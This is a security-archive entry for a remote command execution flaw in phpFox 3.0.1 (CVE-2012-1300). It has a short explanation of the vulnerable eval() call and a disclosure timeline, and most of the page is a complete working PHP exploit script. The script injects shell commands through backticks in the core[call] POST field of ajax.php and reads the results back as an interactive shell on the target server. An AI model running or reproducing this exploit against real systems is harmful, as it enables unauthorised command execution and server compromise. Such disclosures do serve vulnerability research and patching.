phpFox 3.0.1 Remote Command Execution

2012.03.24
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

<?php /* ----------------------------------------------------------- phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit ----------------------------------------------------------- author.............: Egidio Romano aka EgiX mail...............: n0b0d13s[at]gmail[dot]com software link......: http://www.phpfox.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in Phpfox_Module::getComponent() method defined into /include/library/phpfox/module/module.class.php 716. $aParts = explode('.', $sClass); 717. $sModule = $aParts[0]; 718. $sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, $sClass), '', 0, strlen($sModule . PHPFOX_DS)); ... 748. if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches[2])) 749. { 750. eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));'); 751. 752. $sComponent = $aMatches[1]; 753. $sClass = $aMatches[1]; 754. } This method uses its $sClass parameter to construct the $sComponent variable that might be used to inject and execute semi-arbitrary PHP code in a eval() call at line 750. Due to $sClass parameter is "explode()d" by dots at line 716 andto satisfy the regex at line 748, isn't possible to inject code which contains dots or parentheses, but is still possible to inject semi-arbitrary OS commands leveraging of PHP's backtick operator. Input passed through $_POST[core][call] (or $_POST[phpfox][call] in v2) to /static/ajax.php is passed to getComponent() method as $sClass parameter. [-] Disclosure timeline: [07/02/2012] - Vulnerability discovered [09/02/2012] - Vendor notified through http://www.phpfox.com/contact/ [24/02/2012] - CVE number requested [27/02/2012] - Assigned CVE-2012-1300 [27/02/2012] - Vendor update released: http://www.phpfox.com/blog/v2-1-0-build-3-v3-0-1-build-3-released/ [23/03/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+----------------------------------------------------------+"; print "\n| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |"; print "\n+----------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpfox/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $r_pack = "GET {$path}static/tmp HTTP/1.0\r\n"; $r_pack .= "Host: {$host}\r\n"; $r_pack .= "Connection: close\r\n\r\n"; $packet = "POST {$path}static/ajax.php?do=/ad/complete/ HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: %d\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "X_REQUESTED_WITH: XMLHttpRequest\r\n"; $packet .= "Connection: close\r\n\r\n%s"; while(1) { print "\nphofox-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; else if (preg_match('/\./', $cmd)) print "\nDots not allowed!\n"; else if (preg_match('/\)/', $cmd)) print "\nParenthesis not allowed!\n"; else { $payload = "core[call]=.(`{$cmd}>tmp`)."; http_send($host, sprintf($packet, strlen($payload), $payload)); $output = http_send($host, $r_pack); !preg_match('/404 not/i', $output) && preg_match('/\n\r\n(.*)/s', $output, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } }

References:

http://www.phpfox.com/


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